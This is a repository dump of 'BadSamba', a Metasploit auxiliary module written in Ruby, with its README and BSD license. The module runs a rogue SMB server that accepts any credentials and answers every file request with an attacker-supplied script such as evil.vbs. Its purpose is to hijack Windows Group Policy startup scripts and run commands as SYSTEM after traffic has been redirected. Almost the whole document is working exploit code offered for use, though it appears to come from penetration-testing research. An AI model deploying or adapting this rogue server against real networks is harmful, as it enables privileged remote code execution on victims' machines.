├── LICENSE ├── README.md └── badsamba.rb /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2015, Gotham Digital Science 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | DESCRIPTION 2 | =========== 3 | This module is used to exploit startup script execution through Windows Group 4 | Policy settings when configured to run off of a remote SMB share. 5 | 6 | Windows Group Policy can be used to configure startup scripts that will execute 7 | each time the operating system powers on. These scripts execute with a 8 | high-level of privilege, the NT AUTHORITY/SYSTEM account. 9 | 10 | If an attacker is able to perform traffic manipulation attacks and redirect 11 | traffic flow to the malicious SMB server during reboot, it is possible to 12 | execute commands remotely as the SYSTEM account. 13 | 14 | This module will accept all forms of authentication whether that be anonymous, 15 | domain, blank password, non-existent accounts. It will allow any user to connect 16 | to the SMB server and share. 17 | 18 | It will also perform file spoofing and serve up the same file regardless 19 | of what file was originally requested, and regardless of which SMB share the 20 | client is connected to. If the user requests foo.vbs it will send them evil.vbs. 21 | 22 | This was tested on Windows 7 Service Pack 1 (x86) using .bat and .vbs scripts. 23 | 24 | Blog Post: 25 | "BadSamba - Exploiting Windows Startup Scripts Using A Malicious SMB Server" - 26 | http://blog.gdssecurity.com/labs/2015/1/26/badsamba-exploiting-windows-startup-scripts-using-a-maliciou.html 27 | 28 | LIMITATIONS 29 | =========== 30 | - BadSamba has been tested using .bat and .vbs remote script includes. The file 31 | extension does seem to matter, so if it’s requesting a .bat, serve up a .bat. 32 | 33 | - In the lab environment, testing has been against Windows 7 SP1 (English) for 34 | the proof-of-concept. Different versions of Windows may react differently, 35 | but the principal concepts should remain the same. 36 | 37 | - It’s not currently possible to "Browse" the files within the SMB share. This 38 | is due to the complexity of the SMB protocol, and adding this functionality 39 | would greatly increase the complexity of the module. 40 | 41 | - The protocol is quite noisy, and so it can be difficult to determine if the 42 | file was successfully downloaded or if it was download and executed. 43 | 44 | - Currently there is no exclusive lock on files being requested, and this 45 | allows for the file to be downloaded multiple times. In my experience, it 46 | only gets executed once, but it does make for noisy output within the module. 47 | -------------------------------------------------------------------------------- /badsamba.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http//metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | 8 | class Metasploit3 < Msf::Auxiliary 9 | 10 | include Msf::Exploit::Remote::SMBServer 11 | 12 | def initialize 13 | super( 14 | 'Name' => 'Malicious SMB Server (Bad Samba)', 15 | 'Description' => """ 16 | This module is used to exploit startup script execution through Windows Group 17 | Policy settings when configured to run off of a remote SMB share. 18 | 19 | Windows Group Policy can be used to configure startup scripts that will execute 20 | each time the operating system powers on. These scripts execute with a 21 | high-level of privilege, the NT AUTHORITY/SYSTEM account. 22 | 23 | If an attacker is able to perform traffic manipulation attacks and redirect 24 | traffic flow to the malicious SMB server during reboot, it is possible to 25 | execute commands remotely as the SYSTEM account. 26 | 27 | This module will accept all forms of authentication whether that be anonymous, 28 | domain, blank password, non-existent accounts. It will allow any user to connect 29 | to the SMB server and share. 30 | 31 | It will also perform file spoofing and serve up the same file regardless 32 | of what file was originally requested, and regardless of which SMB share the 33 | client is connected to. If the user requests foo.vbs it will send them evil.vbs. 34 | 35 | This was tested on Windows 7 Service Pack 1 (x86) using .bat and .vbs scripts. 36 | """, 37 | 'Author' => 'Sam Bertram ', 38 | 'License' => MSF_LICENSE, 39 | 'Actions' => 40 | [ 41 | [ 'Sniffer' ] 42 | ], 43 | 'DefaultAction' => 'Sniffer' 44 | ) 45 | 46 | register_options( 47 | [ 48 | OptString.new('FILE', [ true, "The malicious file that will be served for every file retrieval request", "/root/evil.vbs" ]), 49 | OptString.new('DOMAIN_NAME', [ true, "The domain name used during SMB protocol negotiation", "WORKGROUP" ]) 50 | ], self.class) 51 | 52 | register_advanced_options( 53 | [ 54 | OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ]), 55 | ], self.class) 56 | end 57 | 58 | def run 59 | 60 | # global verbosity 61 | @verbose = datastore['VERBOSE'] 62 | 63 | @domain_name = datastore['DOMAIN_NAME'] 64 | 65 | # get information about the payload file 66 | @file = ::File.expand_path(datastore['FILE']) # /root/evil.vbs 67 | @filename = ::File.basename(@file) # evil.vbs 68 | 69 | # validate that the file actually exists within the filesystem 70 | if(not ::File.exists?(@file)) 71 | print_error("The payload file specified '#{@file}' does not exist within the filesystem.") 72 | return 73 | end 74 | 75 | @filesize = ::File.size(@file) 76 | 77 | # requested filename, defaults to filename, will be updated with each smb request 78 | @rfilename = @filename 79 | 80 | print_status("Serving up '#{@file} (#{@filesize} bytes)'") 81 | 82 | @s_GUID = [Rex::Text.rand_text_hex(32)].pack('H*') 83 | if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/ 84 | @challenge = [ datastore['CHALLENGE'] ].pack("H*") 85 | else 86 | print_error("CHALLENGE syntax must match 1122334455667788") 87 | return 88 | end 89 | 90 | @time = Time.now.to_i 91 | @hi, @lo = UTILS.time_unix_to_smb(@time) 92 | 93 | exploit() 94 | 95 | end 96 | 97 | def smb_cmd_dispatch(cmd, c, buff) 98 | 99 | smb = @state[c] 100 | 101 | pkt = CONST::SMB_BASE_PKT.make_struct 102 | pkt.from_s(buff) 103 | 104 | # record the id's for the smb_set_defaults function 105 | smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] 106 | smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] 107 | smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] 108 | smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] 109 | 110 | # switch on all valid commands 111 | case cmd 112 | 113 | # the following are all explicitly required in order to handle the SMB 114 | # session, and have an SMB server that can serve to Windows 7 (SP1) 115 | # clients with group policy script execution is enabled 116 | when CONST::SMB_COM_NEGOTIATE then smb_cmd_negotiate(cmd, c, buff, smb) 117 | when CONST::SMB_COM_SESSION_SETUP_ANDX then smb_cmd_session_setup(cmd, c, buff, smb) 118 | when CONST::SMB_COM_TREE_CONNECT_ANDX then smb_cmd_tree_connect(cmd, c, buff, smb) 119 | when CONST::SMB_COM_TRANSACTION2 then smb_cmd_trans2(cmd, c, buff, smb) 120 | when CONST::SMB_COM_OPEN_ANDX then smb_cmd_open_andx(cmd, c, buff, smb) 121 | when CONST::SMB_COM_READ_ANDX then smb_cmd_read_andx(cmd, c, buff, smb) 122 | 123 | # the following commmands will all return a status success upon requested 124 | 125 | # tree disconnect 126 | when CONST::SMB_COM_TREE_DISCONNECT 127 | if @verbose == true then print_status("#{smb[:name]}/#{smb[:user_id]}: SMB_COM_TREE_DISCONNECT") end 128 | smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) 129 | 130 | # close request 131 | when CONST::SMB_COM_CLOSE 132 | if @verbose == true then print_status("#{smb[:name]}/#{smb[:user_id]}: SMB_COM_CLOSE") end 133 | smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) 134 | 135 | # echo request 136 | when CONST::SMB_COM_ECHO 137 | if @verbose == true then print_status("#{smb[:name]}/#{smb[:user_id]}: SMB_COM_ECHO") end 138 | smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) 139 | 140 | # otherwise, alert and error with access denied on unknown commands 141 | else 142 | if @verbose == true then print_status("#{smb[:name]}/#{smb[:user_id]}: UNKNOWN/UNEXPECTED/NOT CONFIGURED (#{cmd})") end 143 | smb_error(cmd, c, CONST::SMB_STATUS_ACCESS_DENIED) 144 | 145 | end 146 | end 147 | 148 | def smb_cmd_negotiate(cmd, c, buff, smb) 149 | 150 | # get negotiation dialects 151 | recv_pkt = CONST::SMB_NEG_PKT.make_struct 152 | recv_pkt.from_s(buff) 153 | dialects = recv_pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/) 154 | 155 | print_status("#{smb[:name]}/#{smb[:user_id]}: SMB_COM_NEGOTIATE (Dialects: #{dialects.join(", ")})") 156 | 157 | pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct 158 | smb_set_defaults(c, pkt) 159 | 160 | time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i) 161 | 162 | dialect = 163 | dialects.index("NT LM 0.12") || 164 | dialects.length-1 165 | 166 | pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE 167 | pkt['Payload']['SMB'].v['Flags1'] = 0x88 168 | pkt['Payload']['SMB'].v['Flags2'] = 0xc001 169 | pkt['Payload']['SMB'].v['WordCount'] = 17 170 | pkt['Payload'].v['Dialect'] = dialect 171 | pkt['Payload'].v['SecurityMode'] = 3 172 | pkt['Payload'].v['MaxMPX'] = 2 173 | pkt['Payload'].v['MaxVCS'] = 1 174 | pkt['Payload'].v['MaxBuff'] = 4356 175 | pkt['Payload'].v['MaxRaw'] = 65536 176 | pkt['Payload'].v['Capabilities'] = 0x0080000d # UNIX extensions; large files; unicode; raw mode 177 | pkt['Payload'].v['ServerTime'] = time_lo 178 | pkt['Payload'].v['ServerDate'] = time_hi 179 | pkt['Payload'].v['Timezone'] = 0x0 180 | 181 | pkt['Payload'].v['SessionKey'] = 0 182 | pkt['Payload'].v['KeyLength'] = 8 183 | 184 | pkt['Payload'].v['Payload'] = @challenge + 185 | Rex::Text.to_unicode(@domain_name) + "\x00\x00" + 186 | Rex::Text.to_unicode("") + "\x00\x00" 187 | 188 | c.put(pkt.to_s) 189 | end 190 | 191 | def smb_cmd_session_setup(cmd, c, buff, smb) 192 | 193 | # only inform if verbose is enabled, as it will be quite noisy 194 | if @verbose == true then print_status("#{smb[:name]}/#{smb[:user_id]}: SMB_COM_SESSION_SETUP_ANDX") end 195 | 196 | pkt = CONST::SMB_SETUP_RES_PKT.make_struct 197 | smb_set_defaults(c, pkt) 198 | 199 | pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX 200 | pkt['Payload']['SMB'].v['Flags1'] = 0x98 201 | pkt['Payload']['SMB'].v['Flags2'] = 0xc807 202 | pkt['Payload']['SMB'].v['WordCount'] = 0x03 203 | pkt['Payload'].v['AndX'] = 0xff # no further commands 204 | pkt['Payload'].v['Reserved1'] = 0x00 # reserved 205 | pkt['Payload'].v['AndXOffset'] = 0x0000 # 206 | 207 | pkt['Payload'].v['Action'] = 0x0001 # Logged in as Guest, not logged in as guest is 0 208 | 209 | pkt['Payload'].v['Payload'] = 210 | Rex::Text.to_unicode("Unix", 'utf-16be') + "\x00\x00" + # Native OS 211 | Rex::Text.to_unicode("Bad Samba", 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature 212 | Rex::Text.to_unicode(@domain_name, 'utf-16be') + "\x00\x00\x00" # Primary DOMAIN # Samba signature 213 | 214 | c.put(pkt.to_s) 215 | end 216 | 217 | 218 | def smb_cmd_tree_connect(cmd, c, buff, smb) 219 | 220 | recv_pkt = CONST::SMB_TREE_CONN_PKT.make_struct 221 | recv_pkt.from_s(buff) 222 | 223 | # the payload is the path, \x00\x00, then the service till the end 224 | payload = recv_pkt['Payload'].v['Payload'] 225 | payloads = payload.split(/\x00\x00/,2) 226 | 227 | path = payloads.first 228 | service = payloads.last 229 | 230 | # submit access denied request to IPC 231 | if payload.include? Rex::Text.to_unicode('\IPC$') 232 | 233 | # as this is requested multiple times, and is quite noisy only inform the user if verbose is enabled 234 | if @verbose == true then print_status("#{smb[:name]}/#{smb[:user_id]}: SMB_COM_TREE_CONNECT_ANDX (Path: #{path})") end 235 | smb_error(cmd, c, 0xc000003a) # STATUS_OBJECT_PATH_NOT_FOUND 236 | 237 | # all other requests specify an NTFS file partition 238 | else 239 | 240 | # notify the user, but don't print the service if it is only ????? 241 | (service.include? "?????") ? print_status("#{smb[:name]}/#{smb[:user_id]}: SMB_COM_TREE_CONNECT_ANDX (Path: #{path})") : print_status("#{smb[:name]}/#{smb[:user_id]}: SMB_COM_TREE_CONNECT_ANDX (Path: #{path}; Service: #{service})") 242 | 243 | pkt = CONST::SMB_TREE_CONN_RES_PKT.make_struct 244 | smb_set_defaults(c, pkt) 245 | 246 | pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TREE_CONNECT_ANDX 247 | pkt['Payload']['SMB'].v['Flags1'] = 0x98 248 | pkt['Payload']['SMB'].v['Flags2'] = 0xc807 249 | pkt['Payload']['SMB'].v['WordCount'] = 0x07 250 | 251 | pkt['Payload'].v['AndX'] = 0xff # No further commands, 252 | pkt['Payload'].v['Reserved1'] = 0x00 253 | pkt['Payload'].v['AndXOffset'] = 0x0000 254 | pkt['Payload'].v['OptionalSupport'] = 0x0001 255 | pkt['Payload'].v['SupportWords'] = 256 | "\xbf\x01\x13\x00" + # maximal share access rights 257 | "\x00\x00\x00\x00" # guest maximal share access rights 258 | pkt['Payload'].v['Payload'] = 259 | "A:" + "\x00" + # Service: A: 260 | Rex::Text.to_unicode("NTFS", 'utf-16le') + "\x00\x00" # NTFS file system 261 | 262 | c.put(pkt.to_s) 263 | end 264 | end 265 | 266 | # trans2 method that will seperate it depending on the sub_command received 267 | def smb_cmd_trans2(cmd, c, buff, smb) 268 | recv_pkt = CONST::SMB_TRANS2_PKT.make_struct 269 | recv_pkt.from_s(buff) 270 | 271 | # determine what type of TRANS2 command it is 272 | sub_command = recv_pkt['Payload'].v['SetupData'].unpack("v").first 273 | 274 | # switch on trans2 sub command 275 | case sub_command 276 | when CONST::TRANS2_FIND_FIRST2 then smb_cmd_trans2_find_first2(cmd, c, buff, smb) # FIND_FIRST2 277 | 278 | # if no command, alert on verbose logging, and give access denied 279 | else 280 | if @verbose == true then print_status("#{smb[:name]}/#{smb[:user_id]}: SMB_COM_TRANSACTION2 Subcommand is UNKNOWN/UNEXPECTED/NOT CONFIGURED (#{sub_command})") end 281 | smb_error(cmd, c, 0xc0000022) # SMB_STATUS_ACCESS_DENIED 282 | end 283 | end 284 | 285 | # when a request for a specific pattern comes in, only show that specific file 286 | # for windows 7 gpo scrip startup, only 'find file both directory info' is required 287 | def smb_cmd_trans2_find_first2(cmd, c, buff, smb) 288 | 289 | # get the requested pattern of the find_first2 command 290 | recv_pkt = CONST::SMB_TRANS2_PKT.make_struct 291 | recv_pkt.from_s(buff) 292 | 293 | payload = recv_pkt['Payload'].to_s 294 | offset = recv_pkt['Payload'].v['ParamOffset'] 295 | 296 | # 6 bytes to skip to the Level of Interest parameter 297 | recv_interest = payload[(offset + 6)..(offset + 6 + 1)].unpack("v").first 298 | 299 | # 12 bytes to skip to the Search Pattern parameter 300 | recv_filename = payload[(offset + 12)..payload.length] 301 | 302 | # remove the leading \ from the received filename 303 | if recv_filename[0..1] == "\x5c\x00" then filename = recv_filename[1..-2] # strip the / unicode 304 | elsif recv_filename[0..0] == "\x5c" then filename = recv_filename[1..-1] # strip the / ascii 305 | else filename = recv_filename end # default to received filename 306 | 307 | # if default search request, the dir command of *, then return our evil filename 308 | if filename[0..1] == "\x00\x2a" or filename[0..0] == "\x2a" then filename = Rex::Text.to_unicode(@filename) end 309 | 310 | # strip nulls, and encode with unicode. this will also strip out tailing \x00s 311 | if filename[0..0] == "\x00" then filename = Rex::Text.to_unicode(filename.gsub(/\x00/,'')) end 312 | 313 | # start to build the response 314 | pkt = CONST::SMB_TRANS_RES_PKT.make_struct 315 | smb_set_defaults(c, pkt) 316 | 317 | pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 318 | pkt['Payload']['SMB'].v['Flags1'] = 0x98 319 | pkt['Payload']['SMB'].v['Flags2'] = 0xc807 320 | pkt['Payload']['SMB'].v['WordCount'] = 10 321 | pkt['Payload'].v['ParamCountTotal'] = 10 322 | 323 | case recv_interest 324 | 325 | when 0x0104 # Find File Both Directory Info 326 | 327 | # occurs during Windows XP group policy reboot 328 | print_status("#{smb[:name]}/#{smb[:user_id]}: SMB_COM_TRANSACTION2 (Subcommand: FIND_FIRST2 (0x0001); Search Pattern: '#{recv_filename}'; Find File Both Directory Info 0x0104)") 329 | 330 | # calculate filename offset 331 | pkt['Payload'].v['DataCountTotal'] = 94 + filename.length 332 | pkt['Payload'].v['ParamCount'] = 10 333 | pkt['Payload'].v['ParamOffset'] = 56 334 | pkt['Payload'].v['DataCount'] = 94 + filename.length 335 | pkt['Payload'].v['DataOffset'] = 68 336 | pkt['Payload'].v['Payload'] = "\x00" + # Padding 337 | 338 | # FIND_FIRST2 Parameters 339 | "\xfd\xff" + # Search ID 340 | "\x01\x00" + # Search count; 1 341 | "\x01\x00" + # End Of Search 342 | "\x00\x00" + # EA Error Offset 343 | "\x00\x00" + # Last Name Offset 344 | "\x00\x00" + # Padding 345 | 346 | # FIND_FIRST2 Data 347 | "\x00\x00\x00\x00" + # Next Entry Offset 348 | "\x00\x00\x00\x00" + # File Index 349 | [@lo, @hi].pack("VV") + # Created 350 | [@lo, @hi].pack("VV") + # Last Access 351 | [@lo, @hi].pack("VV") + # Last Write 352 | [@lo, @hi].pack("VV") + # Change 353 | [@filesize].pack("V") + "\x00\x00\x00\x00" + # End Of File 354 | [@filesize].pack("V") + "\x00\x00\x00\x00" + # Allocation size 355 | "\x80\x00\x00\x00" + # File Attributes 356 | [filename.length].pack("V") + # File Name Len 357 | "\x00\x00\x00\x00" + # EA List Length 358 | "\x18" + # Short file Length, 24 bytes 359 | "\x00" + # Reserved 360 | ("\x00" * 24) + # Short File Name 361 | filename 362 | 363 | c.put(pkt.to_s) 364 | 365 | else 366 | 367 | # only warn on other find_first commands is verbose logging is enabled 368 | if @verbose == true then print_status("#{smb[:name]}/#{smb[:user_id]}: SMB_COM_TRANSACTION2 (Subcommand: FIND_FIRST2 (0x0001); Search Pattern: '#{filename}'; UNKNOWN/UNEXPECTED)") end 369 | smb_error(CONST::SMB_COM_TRANSACTION2, c, 0xc0000022) # SMB_STATUS_ACCESS_DENIED 370 | 371 | end 372 | 373 | end 374 | 375 | 376 | # any path query_path_info, depending on the received path will then determine 377 | # if it's a file or a directory 378 | def smb_cmd_trans2_query_path_info(cmd, c, buff, smb) 379 | 380 | # get the requested pattern of the find_first2 command 381 | recv_pkt = CONST::SMB_TRANS2_PKT.make_struct 382 | recv_pkt.from_s(buff) 383 | 384 | payload = recv_pkt['Payload'].to_s 385 | offset = recv_pkt['Payload'].v['ParamOffset'] 386 | 387 | # 1 byte used to represent the interest 388 | recv_interest = payload[offset..(offset + 1)].unpack("v").first 389 | 390 | # 6 bytes to skip to the filename 391 | recv_filename = payload[(offset + 6)..payload.length] 392 | 393 | # the attributes of the file/directory will change depending on the type of request 394 | if recv_filename[0..1] == "\x00\x00" then attributes = "\x10\x00\x00\x00" # is a directory 395 | else attributes = "\x20\x00\x00\x00" end # is a file 396 | 397 | print_status("#{smb[:name]}/#{smb[:user_id]}: SMB_COM_TRANSACTION2 (Subcommand: QUERY_PATH_INFO (0x5); Search Pattern: '#{recv_filename}'; UNKNOWN/UNEXPECTED)") 398 | smb_error(CONST::SMB_COM_TRANSACTION2, c, 0xc0000022) # SMB_STATUS_ACCESS_DENIED 399 | 400 | end 401 | 402 | # all open_andx requests will give details about the malicious file 403 | def smb_cmd_open_andx(cmd, c, buff, smb) 404 | 405 | recv_pkt = CONST::SMB_OPEN_PKT.make_struct 406 | recv_pkt.from_s(buff) 407 | payload = recv_pkt['Payload'].v['Payload'] 408 | 409 | # a filename will always start with a \, so remove the leading byte from 410 | # the received payload, unless it's a \. this is purely for logging to the 411 | # user about the file requested 412 | if payload[1..2] == "\x5c\x00" then payload = payload[1..-2] # strip the \ unicode 413 | elsif payload[1..1] == "\x5c" then payload = payload[1..-1] end # strip the \ ascii 414 | 415 | print_status("#{smb[:name]}/#{smb[:user_id]}: SMB_COM_OPEN_ANDX (File: #{payload})") 416 | 417 | pkt = CONST::SMB_OPEN_RES_PKT.make_struct 418 | smb_set_defaults(c, pkt) 419 | 420 | pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_OPEN_ANDX 421 | pkt['Payload']['SMB'].v['Flags1'] = 0x98 422 | pkt['Payload']['SMB'].v['Flags2'] = 0xc807 423 | pkt['Payload']['SMB'].v['WordCount'] = 34 424 | 425 | pkt['Payload'].v['AndX'] = 0xff # no further commands 426 | pkt['Payload'].v['FileID'] = rand(0x7fff) + 1 # random file id; avoid 0 427 | pkt['Payload'].v['WriteTime'] = @hi 428 | pkt['Payload'].v['FileSize'] = @filesize.to_i 429 | pkt['Payload'].v['FileType'] = 0x0000 # is a disk file 430 | pkt['Payload'].v['IPCState'] = 0x0000 # no IPC state 431 | pkt['Payload'].v['Action'] = 0x00001 # file existed, and was opened 432 | 433 | c.put(pkt.to_s) 434 | 435 | end 436 | 437 | # read andx 438 | def smb_cmd_read_andx(cmd, c, buff, smb) 439 | 440 | # get the offsets about the file being read 441 | recv_pkt = CONST::SMB_READ_PKT.make_struct 442 | recv_pkt.from_s(buff) 443 | offset = recv_pkt['Payload'].v['Offset'].to_i 444 | req_length = recv_pkt['Payload'].v['MaxCountLow'] 445 | 446 | payload = ::File.binread(@file, req_length, offset) 447 | payload_len = payload.to_s.length 448 | 449 | # alert the user 450 | print_status("#{smb[:name]}/#{smb[:user_id]}: SMB_COM_READ_ANDX (Sending #{payload_len} of #{req_length} requested bytes at offset #{offset})") 451 | 452 | # build the packet to send 453 | pkt = CONST::SMB_READ_RES_PKT.make_struct 454 | smb_set_defaults(c, pkt) 455 | 456 | pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX 457 | pkt['Payload']['SMB'].v['Flags1'] = 0x98 458 | pkt['Payload']['SMB'].v['Flags2'] = 0xc807 459 | pkt['Payload']['SMB'].v['WordCount'] = 12 460 | 461 | pkt['Payload'].v['AndX'] = 0xff # no further commands 462 | pkt['Payload'].v['Remaining'] = 0xffff # 65535 463 | pkt['Payload'].v['DataLenLow'] = payload_len # the number of bytes read 464 | pkt['Payload'].v['DataLenHigh'] = 0 # multiply with 64k 465 | pkt['Payload'].v['DataOffset'] = 0x3b # 56 466 | 467 | # only append the payload, if data was read from the file 468 | if payload_len > 0 then pkt['Payload'].v['Payload'] = payload end 469 | 470 | c.put(pkt.to_s) 471 | 472 | end 473 | 474 | end 475 | 476 | --------------------------------------------------------------------------------